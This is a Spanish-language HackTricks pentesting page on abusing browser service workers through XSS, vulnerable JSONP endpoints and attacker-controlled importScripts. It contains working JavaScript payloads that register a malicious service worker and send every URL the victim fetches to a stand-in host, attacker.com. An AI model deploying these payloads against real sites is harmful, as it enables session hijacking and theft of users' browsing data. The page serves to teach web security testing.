Abuso de Service Workers

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
Descubre The PEASS Family, nuestra colección de exclusivos NFTs
Obtén el swag oficial de PEASS y HackTricks
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.

Información básica

Un service worker es un script que tu navegador ejecuta en segundo plano, separado de una página web, abriendo la puerta a características que no necesitan una página web o interacción del usuario. (Más información sobre qué es un service worker aquí).
Luego, se podría abusar de los service workers creándolos/modificándolos en la sesión de la víctima dentro del dominio web vulnerable que otorga al atacante el control sobre todas las páginas que la víctima cargará en ese dominio.

Verificar SWs existentes

Puedes verlos en el campo de Service Workers en la pestaña de Application de las Herramientas para desarrolladores. También puedes mirar en chrome://serviceworker-internals.

Notificaciones push

Si la víctima no otorgó permisos de notificaciones push, el service worker no podrá recibir comunicaciones del servidor si el usuario no accede a la página del atacante nuevamente. Esto evitará, por ejemplo, mantener conversaciones con todas las páginas que accedieron a la página web del atacante, por lo que si se encuentra una vulnerabilidad, el SW puede recibirla y ejecutarla.
Sin embargo, si la víctima otorga permisos de notificaciones push, esto podría ser un riesgo.

Ataque creando un Service Worker

Para explotar esta vulnerabilidad, necesitas encontrar:

Una forma de subir archivos JS arbitrarios al servidor y un XSS para cargar el service worker del archivo JS cargado
Una solicitud JSONP vulnerable donde puedas manipular la salida (con código JS arbitrario) y un XSS para cargar el JSONP con un payload que cargará un service worker malicioso.

En el siguiente ejemplo, voy a presentar un código para registrar un nuevo service worker que escuchará el evento fetch y enviará al servidor del atacante cada URL recuperada (este es el código que necesitarías subir al servidor o cargar a través de una respuesta JSONP vulnerable):

self.addEventListener('fetch', function(e) {
  e.respondWith(caches.match(e.request).then(function(response) {
    fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Y este es el código que registrará el worker (el código que deberías ser capaz de ejecutar aprovechando un XSS). En este caso, se enviará una solicitud GET al servidor del atacante notificando si el registro del service worker fue exitoso o no:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
  .then(function(registration) {
    var xhttp2 = new XMLHttpRequest();
    xhttp2.open("GET", "https://attacker.com/SW/success", true);
    xhttp2.send();
  }, function (err) {
    var xhttp2 = new XMLHttpRequest();
    xhttp2.open("GET", "https://attacker.com/SW/error", true);
    xhttp2.send();
  });
});
</script>

En caso de abusar de un punto final JSONP vulnerable, debes colocar el valor dentro de var sw. Por ejemplo:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Hay un C2 dedicado a la explotación de Service Workers llamado Shadow Workers que será muy útil para abusar de estas vulnerabilidades.

En una situación de XSS, la directiva de caché de 24 horas asegura que un SW malicioso o comprometido sobrevivirá a una solución para la vulnerabilidad de XSS por un máximo de 24 horas (suponiendo que el cliente esté en línea). Los operadores del sitio pueden reducir la ventana de vulnerabilidad estableciendo TTL más bajos en los scripts de SW. También alentamos a los desarrolladores a crear un SW de interruptor de matar.

Abusando de `importScripts` en un SW a través de DOM Clobbering

La función importScripts llamada desde un Service Worker puede importar un script de un dominio diferente. Si esta función se llama usando un parámetro que un atacante podría modificar, podría importar un script JS desde su dominio y obtener XSS.

Esto incluso evade las protecciones CSP.

Código vulnerable de ejemplo:

index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
  // attacker controls location.search
</script>

sw.js

El archivo sw.js (Service Worker) es un script que se ejecuta en segundo plano en el navegador del usuario y se utiliza para proporcionar una experiencia de usuario mejorada. Los Service Workers pueden interceptar y modificar solicitudes de red, lo que los hace útiles para implementar funciones como la caché de contenido y las notificaciones push. Sin embargo, también pueden ser abusados para llevar a cabo ataques XSS (Cross-Site Scripting) y filtraciones de información.

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Con DOM Clobbering

Para obtener más información sobre qué es el DOM Clobbering, consulte:

{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}

Si la URL / dominio que el SW está utilizando para llamar a importScripts está dentro de un elemento HTML, es posible modificarlo a través de DOM Clobbering para hacer que el SW cargue un script desde su propio dominio.

Para un ejemplo de esto, consulte el enlace de referencia.

Referencias

https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering